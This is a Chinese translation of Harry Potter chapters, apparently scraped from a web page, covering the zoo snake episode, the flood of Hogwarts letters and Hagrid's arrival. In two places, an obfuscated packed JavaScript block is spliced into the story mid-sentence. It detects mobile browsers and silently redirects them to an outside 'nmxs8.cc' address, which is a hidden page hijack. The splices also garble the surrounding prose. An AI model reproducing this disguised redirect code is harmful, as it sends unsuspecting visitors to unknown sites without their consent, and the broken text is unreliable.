每次哈利理发回来总像根本没有理过一样,有一次佩妮姨妈实在按捺不住,就从厨房里拿出一把剪刀,几乎把他的头发全剪光了,只留下前面一绺头发“盖住他那道可怕的伤疤”。这把达力笑得前仰后合,可哈利却整夜睡不着,思前想后,不知明天该怎么去上学,同学们本来就拿他那身松松垮垮的衣服和用胶带粘牢的眼镜当笑话。可到了第二天一早他起床的时候,竟发现自己的头发又恢复到了佩妮姨妈剪它以前的样子。尽管他拼命辩白,自己也弄不清头发为什么这么快就长出来了,可是为这件事他还是被他们在碗柜里关了一个星期。 还有一次,佩妮姨妈硬要哈利穿一件旧的套头毛衣(这件毛衣很难看,是棕色的,缀有橙色的小毛球)。她越是往哈利头上套,毛衣就缩得越小,最后缩得只能给巴掌大的小木偶穿了,哈利穿当然是不合适了。佩妮姨妈断定是洗的时候缩水了,也就没有处罚哈利,这使他大大松了一口气。 另一次,哈利在学校伙房的屋顶上被发现了,这可给他惹出了很大的麻烦。达力和他的一伙跟往常一样追着哈利跑,结果哈利竟坐到了伙房的烟囱上,这使他受到的惊吓并不比别人小。德思礼夫妇收到女校长的一封信,女校长很生气,告诉他们哈利爬到学校楼顶上去了。但他当时只是(正如他在上了锁的碗柜里朝他姨父大喊大叫时所说的)在向伙房外边的大垃圾箱后面跳。哈利猜想大概是风半路上把他托上去了。 今天不会出什么差错了。他觉得只要不待在学校、不待在他的碗柜里或费格太太满屋卷心菜味的起居室里,即使跟达力或皮尔一起在什么地方消磨一天也是值得的。 弗农姨父一边开车,一边对佩妮姨妈抱怨。他总喜欢怨天尤人,工作中遇到的人、哈利,开会、哈利,银行、哈利,这是他喜欢抱怨的少数几个话题。今天早上他抱怨的是摩托车。 “...疯子一样,一路吼个没完,这些小兔崽子。”当一辆摩托车超车时,他说。 “我梦见过一辆摩托车,”哈利突然想起自己的梦,说,“那车还飞呢。” 弗农姨父差点撞到前面的车上。他从座位上转过身来,他的脸活像一个留着大胡子的大甜菜头。他朝哈利大喊大叫,说:“摩托车不会飞!” 达力和皮尔吃吃地笑起来。 “我知道摩托车不会飞,”哈利说,“那只是一个梦。” 他想,要是什么也没有说就好了。比问问题更让德思礼夫妇恼火的就是他总说些违反常规的事情,不管是做梦梦到的,还是从动画片里看来的——他们认为他总有可能产生危险的想法。 这是一个阳光灿烂的周末,动物园里挤满了举家出游的游客。在入口的地方,德思礼夫妇给达力和皮尔各买了一支大巧克力冰淇淋蛋卷;他们还没来得及把哈利带走,冰淇淋车上一位笑盈盈的小姐就已经在问哈利想吃点什么,他们只好给哈利买了一支最便宜的柠檬冰棍。 其实冰棍也不坏,哈利心里想。他一面舔冰棍,一面观赏一只正在搔头的大猩猩,这只大猩猩跟达力长得像极了,只不过它的毛发不是金色的。 好长时间以来,这是哈利最开心的一个早晨了。他特地小心翼翼地和德思礼夫妇保持一小段距离,防备达力和皮尔到吃午饭的时候,看动物看烦了,回过头来玩他们的拿手好戏—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338686|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追打他。他们在动物园餐厅吃午饭,达力嫌给他的那份彩宝圣代不够大,于是又大发了一通脾气。弗农姨父赶紧给他点了一份大的,把原先那份让哈利吃掉了。 哈利事后想想,他觉得自己应当明白,好事不会持续太久的。 吃过午饭,他们来到爬虫馆。馆里阴冷、晦暗,沿四面墙都是明亮的玻璃窗。隔着玻璃只见各色蜥蜴和蛇在木块上或石块上爬来爬去,溜溜达达。达力和皮尔想看看有剧毒的大眼镜蛇和攻击性很强的巨蟒。达力很快就找到了馆里最大的一条巨蟒。它能用它的身体缠绕弗农姨父的汽车两圈,然后把它挤压成一堆废铁...不过这时看来它并没有这种心思——它睡得正香呢。 达力用鼻子紧贴着玻璃,盯着这盘亮闪闪的棕色巨蟒。“让它动呀。”达力哼哼唧唧地央求他父亲。弗农姨父敲了敲玻璃,巨蟒却纹丝不动。 “再敲一遍。”达力命令说。弗农姨父用指节狠狠地敲玻璃,可大蟒继续打盹。 “真烦人。”达力抱怨了一句,拖着脚慢慢吞吞地走开了。 哈利在巨蟒待的大柜子前边挪动着脚步,仔细打量这条巨蟒。如果它怏怏不乐,最终在这里死去,哈利不会觉得奇怪。因为它没有伙伴,只有一些愚蠢的家伙整天用手指敲玻璃想把它弄醒。这比拿碗柜当卧室更糟糕,尽管每天来光顾他的只有佩妮姨妈,捶门要他起床,可至少他还能在整栋房子里到处走走。 巨蟒突然睁开亮晶晶的小眼睛,慢慢地、慢慢地抬起头来,直到与哈利的眼睛一般高。它眨了眨眼。哈利大为惊骇。他即刻飞快地四下里扫了一眼,看是否有人在注意他们。 没有人注意。他回过头来看着巨蟒,也对它眨了眨眼。巨蟒猛地把头转向弗农姨父和达力那边,然后又抬眼看着天花板。它的眼神显然在对哈利说:“我总是碰到像他们这样的人。” “我知道。”哈利隔着玻璃小声说,尽管他不能肯定巨蟒能否听到他说话。“那一定让你很烦。”巨蟒用力点点头.“别的不说,你是从哪里来的?”哈利问。 巨蟒甩着尾巴猛地拍了一下玻璃窗上的一块小牌子。哈利仔细看了一下。 蟒蛇,巴西。 “那边不错吧?” 巨蟒又甩尾巴猛地拍了一下那块牌子,哈利继续读道:这是本动物园内繁殖的样品。 “哦,我明白了——这么说你从来没有到过巴西?” 当巨蟒正在摇头回答时,哈利背后突然传来震耳欲聋的喊叫,哈利和巨蟒都吓了一跳。 “达力!德思礼先生!快来看这条蛇!你决不会相信它在做什么!” 达力摇摇摆摆地赶紧朝他们走过来。 “别挡道。”他说,朝着哈利胸口就是一拳。哈利惊讶不已,重重地摔在水泥地上。随后发生的事,因为来得太突然,谁也说不清楚是怎么回事。只见皮尔和达力一下子紧贴在玻璃上,马上又惊恐万状,大喊大叫,连蹦带跳往后退去。 哈利坐起来,大口喘气;蟒蛇柜前的玻璃不见了。巨蟒迅速地伸展开盘着的身体,溜到地板上——整个爬虫馆的人都尖叫着,向出口跑去。 当巨蟒溜过哈利身旁时,哈利清清楚楚地听到一个咝咝的声音轻轻地说:“我是从巴西来到这里的...多谢,我走了。” 爬虫馆的管理员深感震惊。 “可这玻璃,”他不停地叨叨,“这玻璃到哪里去了?” 动物园园长再三道歉,并亲自给佩妮姨妈泡了一杯加糖的浓茶。皮尔和达力只在一旁胡言乱语,东拉西扯。其实就哈利所看到的,除了巨蟒从他们身边溜过时,跟他们闹着玩,拍打了一下他们的脚后跟,别的什么也没有做。 可当他们坐上弗农姨父的汽车后,达力讲起他的腿如何如何差点儿被巨蟒咬断,皮尔则赌咒发誓说这条巨蟒想把他缠死。而且,最糟糕的是当皮尔镇静下来以后,他突然说:“哈利还跟它说话呢,是不是,哈利?” 弗农姨父一直等到皮尔安全离开他们家之后,才开始跟哈利算账——他气得几乎连话都说不出来了,勉强说了一句:“去——碗柜——待着——不准吃饭。”就倒在扶手椅里了,佩妮姨妈连忙跑去给他端来一大杯白兰地。 哈利在黑洞洞的碗柜里躺了好久,他一直盼望能有一块手表。没有手表,他不知道现在是几点钟,而且也不能肯定德思礼一家是不是睡了。等他们睡了,他就可以冒险,偷偷溜到厨房去找点东西吃。 他还是个婴儿时,他的父母死于车祸。他记得,从那时起到现在,他已经在弗农姨父家生活了近十年了,那是十年苦难的生活。他已经不记得父母身亡时,他自己也在车上。 有时躺在碗柜里长时间拼命回忆,会出现一种奇妙的幻象:一道耀眼的闪电般的绿光,随之而来的,是前额上一阵火辣辣的疼痛。他猜想,这就是那场车祸,但他不知道那道绿光是从哪里来的。他一点也不记得他的父母了。姨父姨妈从来不提他们,当然,也不准他问。家里也没有他们的照片。 在哈利年纪还小的时候,他经常做梦,梦见某一位亲戚突然来把他接走,可是他的梦从来没有实现。德思礼一家是他唯一的亲戚。可有时候他觉得(也许是盼望)街上的陌生人似乎认识他。而且,他们都是些非常奇怪的陌生人。 一次他跟佩妮姨妈和达力上街买东西,就有一个戴紫罗兰色大礼帽的小个子男人向他鞠躬行礼。佩妮姨妈怒冲冲地追问哈利是否认识那人,之后就把他和达力赶出商店,什么东西也没有买。另外一次在公共汽车上,一个放荡不羁、穿一身绿衣服的老太婆笑眯眯地向他招手。还有一次,一个穿紫色拖地长袍的秃头男子在大街上竟然跑过来跟他握手,之后一句活没说就走开了。而最令人感到不可思议的是,当哈利想更仔细地看他们的时候,他们便消失得无影无踪了。 在学校里,哈利没有一个朋友。大家都知道,达力一伙最恨的就是穿松松垮垮的旧衣服、戴一副破眼镜的怪人哈利·波特。谁也不愿意去跟达力一伙作对。 4. 猫头鹰传书 巴西巨蟒的脱逃,使哈利受到了平生为期最长的一次惩罚。当他获准走出碗柜时,暑假已经开始了。达力已经打坏了他的新摄像机,摔毁了遥控飞机,他的赛车也在他第一次骑着上街时,把拄着拐杖过女贞路的费格太太撞倒了。 学期结束了,哈利很开心,但无法回避达力一伙人,他们每天都要到达力家来。皮尔、丹尼、莫肯、戈登都是傻大个,而且很蠢,而达力更是他们中间块头最大、最蠢的,也就成了他们的头儿。达力的同伙都乐意加入他最热中的游戏——追打哈利。 这就是哈利尽量长时间待在外边的原因。他四处游逛,盘算着假期的结束,由此获得对生活的一线希望。到九月他就要上中学了,这将是他平生第一次跟达力分开。达力获准在弗农姨父的母校上学。皮尔也要上这所学校。哈利则要去当地的一所综合制中学——石墙中学。达力觉得很好笑。 “石墙中学开学的第一天,他们就会把新生的头浸到马桶里。”他对哈利说,“要不要上楼去试一试?” “不用了,多谢。”哈利说,“可怜的马桶从来没有泡过像你的头这样叫人倒胃口的脑袋——它可能会吐呢。”不等达力弄明白这句话的意思,哈利早已经跑掉了。 七月的一天,佩妮姨妈带达力上伦敦,去给他买斯梅廷中学的校服,把哈利放在了费格太太家。费格太太不像平时那么坏。原来费格太太是被自己养的猫绊倒才摔断了腿。她让哈利看电视,还给了他一小块巧克力蛋糕,虽然这块蛋糕吃起来像已经放了很多年似的。 那天晚上达力神气活现地在起居室里走来走去,向家人展示他那套新校服。斯梅廷中学的男生制服是棕红色燕尾服,橙色短灯笼裤和一顶叫硬草帽的扁平草帽。他们还配了一支多节的手杖,趁老师不注意时用来互相打斗,这也许是对未来生活的一种很好的训练吧。 弗农姨父看着身穿崭新灯笼裤的达力,他的声音都沙哑了,他说,这是他平生感到最自豪的一刻。佩妮姨妈突然哭起来,她说她的宝贝疙瘩已经长大了,长得这么帅,简直让她不能相信。哈利却不敢开口。为了强忍住不笑,他的两条肋骨都快折断了。 第二天早上哈利来吃早饭时,发现厨房里有一股难闻的味儿。这气味似乎是从污水池里的一只大铁盆里散发出来的。他去看了一眼,发现一盆灰黑色的水里泡着像破抹布似的东西。 “这是什么?”他问佩妮姨妈。她把嘴唇抿紧,每当哈利大胆问问题时,她总是这样。 “你的新校服呀。”她说。 哈利又朝盆里扫了一眼。 “哦,”他说,“我不知道还得泡得这么湿。” “别冒傻气,”佩妮姨妈斥责说,“我把达力的旧衣服染好给你用。等我染好以后,穿起来就会跟别人的一模一样。”,哈利对此非常怀疑,但他还是觉得最好不要跟她争论。他坐下来吃早饭时,竭力不去想第一天去石墙中学上学自己会是什么模样,八成像披着大象的旧象皮吧。 达力和弗农姨父进来时,都因为哈利那套新校服散发的味道皱起了鼻子。弗农姨父像通常一样打开报纸,达力则把他从不离身的斯梅廷手杖啪的一声放到桌上。 他们听到信箱咔哒响了一声,一些信落到大门口的擦脚垫上。“去拿信,达力。”弗农姨父从报纸后边说。 “叫哈利去捡。”“哈利去捡。”“达力去捡。”“用你的斯梅廷手杖赶他去捡。”哈利躲闪着斯梅廷手杖,去捡信。擦脚垫上有三样邮件:一封是弗农姨父的姐姐玛姬姑妈寄来的明信片,她现在在怀特岛上度假;另一封是看来像账单的棕色信封;还有——一封是寄给哈利的信。哈利把信捡起来,目不转睛地盯着看,心里像有一根很粗的橡皮筋嘣的一声弹了起来,嗡嗡直响。活到现在,从来没有人给他写过信。这封信可能是谁写的呢?他没有朋友,没有另外的亲戚,他没有借书证,因此不会收到图书馆催还图书的通知单。 可现在确实有一封信,地址清清楚楚,不会有错:萨里郡小惠金区女贞路4号楼梯下的碗柜哈利波特先生收信封是用厚重的羊皮纸做的,地址是甩翡翠绿的墨水写的。没有贴邮票。哈利用颤抖的手把信封翻转过来,只见上边有一块蜡封、一个盾牌纹章,大写“H”字母的周围圈着一头狮子、一只鹰、一只獾和一条蛇。“小子,快拿过来!”弗农姨父在厨房里喊起来,“你在于什么,在检查邮包有没有炸弹吗?”他开了个玩笑,自己也咯咯地笑开了。 哈利回到厨房,目光一直盯着他的那封信。他把账单和明信片递给弗农姨父,然后坐下来,慢慢拆开他那个黄色的信封。弗农姨父拆开有账单的信封,厌恶地哼了一声,又把明信片轻轻翻转过来。 “玛姬病倒了,”他对佩妮姨妈说,“吃了有问题的油螺...”“老爸!”达力突然说,“老爸,哈利收到什么东西了!” 哈利刚要打开他那封写在厚重羊皮纸上的信,信却被弗农姨父一把从手中抢过去了。 “那是写给我的!”哈利说,想把信夺回来。“谁会给你写信?”弗农姨父讥讽地说,用一只手把信纸抖开,朝它瞥了一眼。 他的脸一下子由红变青,比红绿灯变得还快。事情到这里并没结束。几秒钟之内他的脸就变得像灰色的麦片粥一样灰白了。 “佩——佩——佩妮!”他气喘吁吁地说。 达力想把信抢过来看,可是弗农姨父把信举得老高,他够不着。佩妮姨妈好奇地把信拿过去,刚看第一行,她就好像要晕倒了。她抓住喉咙,噎了一下,像要背过气去。 “德思礼!哎呀!我的天——德思礼!” 他们俩你看我,我看你,都不说话,似乎忘了哈利和达力还在屋里。达力是不习惯被人冷落的。他甩了一下斯梅廷手杖,朝他父亲的头上狠狠地敲了一下。 “我要看那封信。”他大声说。 “我要看。”哈利气呼呼地说,“因为那封信是写给我的。” “你们俩,统统给我出去。”弗农姨父用低沉而沙哑的声音说,把信重新塞到信封里。 哈利没有动。 “我要我的信!”他大叫说。 “让我看!”达力命令说。 “出去!”弗农姨父吼了起来,揪住哈利和达力的脖领,把他们俩扔到了走廊里,砰地一声关上厨房门。哈利和达力两人都火冒三丈,为争夺由锁孔窥视的权利,悄悄地争斗起来。最后达力胜利了。啥利一只耳朵上挂着他那副破眼镜,只好趴在地板上,贴着门和地板之间的缝隙窥探动静。 “弗农,”佩妮姨妈用颤抖的声音说,“你看看这地址——他们怎么会知道他睡在什么地方?他们该不会监视我们这栋房子吧?” “监视——暗中窥探——说不定还会跟踪咱们呢。”弗农姨父愤愤地抱怨说。 “可我们该怎么办?弗农?我们要不要回封信?告诉他们我们不想让——” 哈利能看见弗农姨父锃亮的黑皮鞋在厨房里走来走去。 “不,”他终于说,“不,我们给他来个置之不理。如果他们收不到回信..对,这是最好的办法...我们按兵不动...” “可是——” “佩妮,我决不让他们任何人进这栋房子。我们拖他进来的时候,不是发过誓,要制止这种耸人听闻的荒唐事吗?” 当天傍晚,弗农姨父下班回来,做了一件从来没有做过的事,他竟然到碗柜前来看望哈利了。“我的信呢?”弗农姨父刚刚挤进门,哈利就问,“是谁写给我的?”“没有人。因为写错了地址才寄给你的。”弗农姨父直截了当说,“我已经把信烧掉了。” “根本没有写错,”哈利生气地说,“上边还写着我住在碗柜里呢。” “住嘴!”弗农姨父咆哮起来,两只蜘蛛都从柜顶上被震下来了。他做了几次深呼吸,勉强挤出一个笑脸,但看起来更像苦笑。 “唔——不错,哈利——说起这个碗柜,你姨妈和我都考虑到..你已经长大了,这地方确实小了点..我们想,你不如搬到达力的另外一间卧室比较好。”“为什么?”哈利说。 “不准问问题!”他姨父吼起来,“把你这些东西统统搬到楼上去,现在就搬。”德思礼家总共有四间卧室:一间是供弗农姨父和佩妮姨妈用的;一间是客房(通常是给弗农姨父的姐姐玛姬准备的);一间是达力的睡房;还有一间用来堆放达力卧室里放不下的玩具和什物。 哈利只走了一趟就把他的全部家当从碗柜搬到楼上这个房间来了。他端坐在床上,朝房间里四下打量。这里所有的东西几乎都是坏的。只用了一个月的摄像机放在一辆小手推车顶上,达力有一次还甩这辆手推车去压过邻居家的小狗;屋角里放着达力的第一台电视机,当他心爱的节目被取消时,他给了电视机一脚;这里还有一只大鸟笼,他用它养过一只鹦鹉,后来他把鹦鹉带到学校换回了一支真正的□□。这支□□现在扔在架子上。枪管的一头被他坐得弯了。另外的一些架子上摆满了书。这些书看上去大概是这个房间里惟一没有翻动过的东西。 楼下传来达力缠着他母亲哭闹的声音:“我不要他住那个房间...那间屋我要用...让他搬出去...” 哈利叹了口气,伸开四肢躺到床上。如果是昨天,要他搬上来,他会不惜任何代价。可是今天他却宁愿拿着那封信搬回他的碗柜,也不愿搬到这里来却拿不到那封信。 第二天吃早饭时,大家都觉得最好还是不说话。达力歇斯底里大发作,用斯梅廷手杖使劲敲打他父亲,故意装吐,拼命踢他母亲,用他的乌龟把温室的屋顶也砸出了个窟窿,可还是没能把自己的房间要回来。哈利其实昨天就想到了,他非常后悔昨天没有在走廊里就把信打开。弗农姨父和佩妮姨妈一直沉着脸面面相觑。 今天来信的时候,弗农姨父似乎要表示对哈利的友好,便让达力去拿信。他们听见达力穿过走廊时用斯梅廷手杖敲敲打打。之后,他大喊大叫:“又有一封信!女贞路4号最小的一间卧室哈利.波特先生收——”弗农姨父像被掐住了脖子,喊了一声,从椅子上一跃而起,朝走廊跑去。哈利紧跟在他背后。弗农姨父只有把达力摔倒在地,才能把信拿到手,可哈利从背后搂住了他的脖子,这就增加了他的难度。经过片刻的混战,弗农姨父和哈利都挨了达力不少棍子。最后,弗农姨父直起腰来大口喘气,手里捏着哈利的信。 “上你的碗柜去——我是说,上你的睡房去。”他呼哧带喘地对哈利说。“达力——走开——快走开!” 哈利在他新搬来的房间里来回兜圈子。有人知道他已经搬出了碗柜,好像还知道他没有收到写给他的第一封信。这足以说明他们还会再试一次。这回他可要保证让他们获得成功。他设计了一个方案。 第二天一早,修好的闹钟铃声在六点钟时响了。哈利连忙把闹钟铃关掉,悄没声息地穿好衣服。他不能吵醒德思礼一家。他一盏灯也没有开就悄悄溜下楼去。 他要去女贞路街口等邮差来,首先把四号的邮件取到手。当他穿过漆黑的走廊朝大门口走时,他心里怦怦直跳——“哎哟!”哈利一蹦老高——他一脚踩到鞋垫上一个软绵绵的大东西,还是一个活物! ...楼上的灯都亮了,哈利踩着的那个软绵绵的大东西竟是他姨父的脸。这使他大为惊骇。弗农姨父裹着睡袋躺在大门口是为了不让哈利做他想做的事。 他朝哈利大喊大叫,嚷嚷了有半个钟头,这才让哈利去泡杯热荼。哈利难过地拖着脚步,慢慢吞吞地来到厨房。等他转回来的时候,信件已经到了,刚好掉在弗农姨父的膝盖上。哈利看见了三封信,地址是用翠绿色墨水写的。 “我想——”他刚要开口,弗农姨父已经当着他的面把三封信撕得粉碎。 那天弗农姨父没去上班。他待在家里,把信箱钉死了。“你看,”他嘴里含着一把钉子,对佩妮姨妈解释说,“如果他们没法投送,他们自然也就放弃了。” “这是不是真能起作用,我不敢说,德思礼。” “哦,这些人的头脑想问题都古古怪怪的,佩妮,跟你我不一样。”弗农姨父说,一边用力捶钉子,钉子上还沾有佩妮姨妈刚给他端来的水果蛋糕的渣呢。 星期五,寄给哈利的信至少有十二封。既然不能往信箱里塞,只好往门底下的缝里塞,从门边的缝里塞,有几封信甚至从楼下洗手间的小窗口塞了进来。 弗农姨父又待在家里。他把信全部烧光之后,就找来锤子、钉子,把前门后门的门缝全都用木板钉死,这样谁也出不去了。他一边干,一边哼着“从郁金香花园中悄悄走过”,只要有一点动静他就吓一跳。 星期六,事态开始失控。二十四封写给哈利的信已设法进入德思礼家中。这些信是卷成小卷藏在两打鸡蛋下边,由毫不知情的送奶员从起居室窗口递给佩妮姨妈的。弗农姨父怒冲冲地给邮局、奶厂打电话找人说理。佩妮姨妈正好把二十四封信都塞到食品粉碎机里搅得粉碎。 “究竟什么人这么急着要找你联系?”达力吃惊地问哈利。星期天早上,弗农姨父坐下来吃早饭,显得很疲惫,气色也不太好,不过很开心。“星期天没有邮差,”他一边把果酱抹在报纸上,一边高兴地提醒大家,“今天不会有该死的信来了...” 他正说着,有东西飕飕地从厨房烟囱里掉下来,狠狠地砸到他的后脑上。接着三四十封信像子弹一样从壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338687|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炉里射出来。德思礼一家忙着躲避,哈利却一蹿老高,伸手想抓住一封——“出去!出去!” 弗农姨父伸手抱住哈利的腰,把他扔到了走廊里。佩妮姨妈和达力双手抱头逃出屋去,弗农姨父砰的一声把门关上。他们能听见信件源源不断地向厨房里涌,弹到地板上和墙上。 “玩儿完了!”弗农姨父尽量保持镇静说,但一边又大把大把地从脸上把胡子揪了下来。“我要你们五分钟之内回来,准备走。我们要离开这里。你们赶紧去收拾几件衣服。没有商量!” 他揪掉了一半胡子,看起来很可怕,谁也不敢顶撞他了。十分钟后,他们奋力拆开用木条钉死的大门,冲出门去,坐上汽车朝公路疾驰雨去。达力坐在后座哭鼻子,因为他刚才要把电视机、摄像机和电脑都塞到他的运动背包里,耽误了大家的时间,父亲打了好几下他的头。 他们一个劲往前开。连佩妮姨妈也不敢问他们这是要去哪里。弗农姨父会不时打个紧急掉头,往回开一小段路。 “甩掉他们..甩掉他们...”每次他往回开的时候,总这么叨叨。 他们一整天都没有停下来吃东西或喝水。夜幕降临时,达力哇哇大哭起来。他平生从未遇到过像今天这么糟糕的事情。他饿极了;五个他想看的电视节目也错过了;他还从来没遇到过今天这种情况,一整天都没坐到电脑前炸外星人。 汽车来到一座大城市的郊区,弗农姨父终于在一家显得幽暗阴沉的旅馆门口停下。达力和哈利合住一个有两张床位的房间,潮湿的床单散发着一股霉味。达力打着呼噜,哈利却睡不着,只好坐在窗台上看着下边过往的汽车灯光,他感到纳闷...第二天早餐,他们吃的是走味的玉米片和罐头冷土豆加烤面包。他们刚吃完,旅馆的老板娘就过来了。 “对不起,你们当中有叫哈利波特先生的吗?前边服务台大概收到了一百封像这样的信。” 她举起一封信好让他们看清用绿墨水写的地址:科克沃斯铁路风景旅馆十七号房间哈利波特先生收。 哈利伸手去抓信,可是他的手被弗农姨父挡了回去。老板娘瞪大眼睛看着他。 “我去拿信。”弗农姨父说着,即刻站起来跟随老板娘走出餐厅。 “我们还是回家比较好吧,亲爱的。”几小时过后,佩妮姨妈胆怯地建议说。弗农姨父好像根本没有听到她说话。他究竟在寻我什么,他们谁也不知道。他开车把他们带到了一处森林中间。他下车四下里看了看,摇摇头,又回到车上,继续往前开。后来在一片新耕的田地里、在一座吊桥的中央和立体停车场的顶层又发生了同样的事。 “老爸是不是疯了?”这时天色已经相当晚了,达力无精打采地问佩妮姨妈。弗农姨父把车停在海边,把他们锁在车里就不见了。开始下雨了。豆大的雨点落到车顶上。达力又抽抽噎噎哭鼻子了。“今天是星期一,”他对母亲说,“晚上上演《伟大的亨伯托》,我真想待在有电视可看的地方。” 星期一。这使哈利想起一件事。他通常总是靠达力来推算每天是星期几,因为达力要看电视。如果今天是星期一,那么明天,星期二,将是哈利十一岁的生日。当然,他的生日从来都没有一点儿意思。去年德思礼夫妇送给他一个用来挂上衣的挂衣钩和弗农姨父的一双旧袜子。但是,他毕竟不是天天过十一岁的生日。 弗农姨父回来了,而且面带微笑。他还拎着一个细长的包裹,佩妮姨妈问他买的是什么,他没有回答。“我找到了一个特别理想的地方!”他说,“走吧!都下车!” 车外边很冷。弗农姨父指着海上的一块巨大的礁石。礁石上有一间你能想象得到的小得可怜的破烂小屋。有一点可以肯定,那就是小屋里绝对不会有电视。 “天气预报说今天夜里有暴风雨!”弗农姨父高兴地拍手说,“而这位先生好心地同意把船借给我们!” 一个牙齿掉光的老汉慢慢吞吞地朝他们走来,脸上挂着不怀好意的奸笑,指了指铁灰色海面上漂荡的一只破旧的划艇。 “我已经给大家弄到了一些吃的!”弗农姨父说,“咱们就都上船吧!” 船上寒气逼人。冰冷的海水掀起的浪花夹着雨水顺着他们的脖子往下流淌,刺骨的寒风拍打着他们的面孔。大概过了好几个小时,他们才来到了那块礁石边,弗农姨父连滚带爬地领着他们朝东倒西歪的小屋走去。 屋里更显得可怕,一股浓重的海藻腥味,寒风透过木墙的缝隙飕飕地往里灌,壁炉里湿漉漉的,什么也没有。屋里总共只有两个房间。弗农姨父弄来吃的东西也只是每人一包薯片和四根香蕉。他想把火生起来,但薯片的空包装袋只冒了一股烟,之后就卷缩成一堆灰烬了。 “现在要是有信,可就有用处了,是不是?”他开心地说。 他的心情很好。看得出他认为这样暴风雨的天气,不会有人冒雨来送信的。哈利心里当然也同意,但这种想法却让他一点儿也高兴不起来。 夜幕降临,意料之中的暴风雨果然从四面八方向他们袭来。滔滔翻滚的海浪,拍打着小木屋的四壁,肆虐的狂风吹得几扇污秽不堪的窗户咔哒咔哒直响。 佩妮姨妈从另一间屋里找来几床发霉的被子,在虫蛀的沙发上给达力铺了一张床。她和弗农姨父到隔壁一张坑坑洼洼、高低不平的床上睡了;哈利勉强找到一块最不硌人的地板,把身子蜷缩在一条薄而又薄的破被子下边。 深夜,雨暴风狂,暴风雨越发肆无忌惮。哈利无法入眠,他瑟瑟发抖,辗转反侧,总想睡得舒服些,肚子又饿得咕咕直叫。 临近午夜,一阵沉闷的隆隆雷声淹没了达力的鼾声。达力的一只胳膊搭拉在沙发边上,胖乎乎的手腕上戴着手表,夜光的表盘告诉哈利再过十分钟他就满十一岁了。他躺在那里期待着,他的生日在嘀嗒声中一分一秒地临近。他心里想,不知德思礼夫妇会不会记得他的生日,不知那个写信的人此刻会在什么地方。 还有五分钟。哈利听见屋外不知什么嘎吱响了一声。但愿屋顶不会塌下来,尽管塌下来也许反倒会暖和些。 还有四分钟。说不定等他回到女贞路时,那幢房子已经堆满了信,没准儿他还能想办法偷到一封呢。 还有三分钟。那是海浪汹涌澎湃,冲击着礁石吗? 还有两分钟。那个嘎吱嘎吱的奇怪声音又是什么呢?是礁石碎裂滚入大海的声音吗? 再过一分钟他就十一岁了。三十秒——二十秒——十——九——也许他应该把达力叫醒,故意气气他 ——三—— 二——一——轰!整个小屋被震得摇摇晃晃,哈利坐了起来,盯着房门。 门外有人敲门要进来。 5. 钥匙保管员 轰!又是捶门声。 达力被惊醒了。 “什么地方打炮?”他迷迷糊糊地说。 他们背后又是哗啦一声响。弗农姨父抱着一支来福枪连滚带爬地跑进屋,这时他们才明白他那细长的包裹里原来是什么东西。 “门外是什么人?” 他喊道,“我警告你——我有枪!” 外面静了一会儿。然后——咔嚓!门从合页上脱落下来,震耳欲聋的哗啦一声,门摔在地板上。 门口站着一个彪形大汉。他的脸几乎完全被蓬乱的长发和纠结的浓密胡须掩盖了,但你仍能看见他那对像黑甲虫似的眼睛,在头发下面闪闪发光。 巨人好不容易才挤进屋来,他弓着腰,这样他的头刚刚擦着天花板。 他弯腰拾起门板,轻而易举地就把门装到了门框上。 外面的风暴声减弱了。他转身看着大家。 “能给咱来杯热茶吗?走这么一趟可真不容易...”他大步走到沙发跟前,达力坐在那里吓傻了。 “喂,让点儿地方吧,你这个傻大个儿。”巨人说。 达力尖叫着跑过去躲到母亲身后,他母亲吓得蹲在弗农姨父背后。 “这就是哈利了!”巨人说。 哈利抬头看着他那张凶狠、粗野、面貌不清的脸,他那对甲壳虫似的眼睛眯起来,露出一丝笑容。 “上次见到你,你还是个小毛毛。”巨人说,“你很像你爸爸。眼睛可像你妈妈。” 弗农姨父发出一声刺耳的怪叫。“我要你马上离开,先生!”他说,“你这是私闯民宅!” “哦,住嘴,德思礼,你这个大傻瓜。”巨人说。 他隔着沙发把枪从德思礼手里抢过来,轻轻一撅,绾了一个结就把它扔到屋角里了,仿佛这支枪是用橡皮做的。 弗农姨父又发出一声怪叫,好像一只老鼠被人踩了。 “不管怎么说——哈利,”巨人转过身来,背对着弗农夫妇,“祝你生日非常愉快。我这里有一件东西要送给你——有的地方我可能压坏了,不过味道还是一样。” 他从黑外衣内袋里取出一只稍稍有些压扁的盒子。哈利用颤抖的手指将它打开,只见盒子里是一个黏糊糊的巧克力大蛋糕。上边用绿色糖汁写着:祝哈利生日快乐。 哈利抬眼看着这个巨人。他本来想向他致谢,可是话到嘴边却不见了,他脱口说:“你是谁?” 巨人咯咯地笑起来,“说真的,我还没向你作自我介绍呢。鲁伯海格,霍格沃茨的钥匙保管员和狩猎场看守。” 他伸出一只巨手握住哈利的整只胳膊。 “哦,茶怎么样了?”他搓着手说,“如果有茶,在遇到比你强的人面前就不要说没有,记住。” 他的目光落到空空的炉篦子上,那上边只有揉成一团的包装袋。他哼了一声,朝壁炉弯下腰。 谁也没看见他做了什么,但是当他随即退回来的时候,那里已是炉火熊熊。潮湿的木屋里火光摇曳,哈利感到周身暖和,仿佛跳进了热水池。 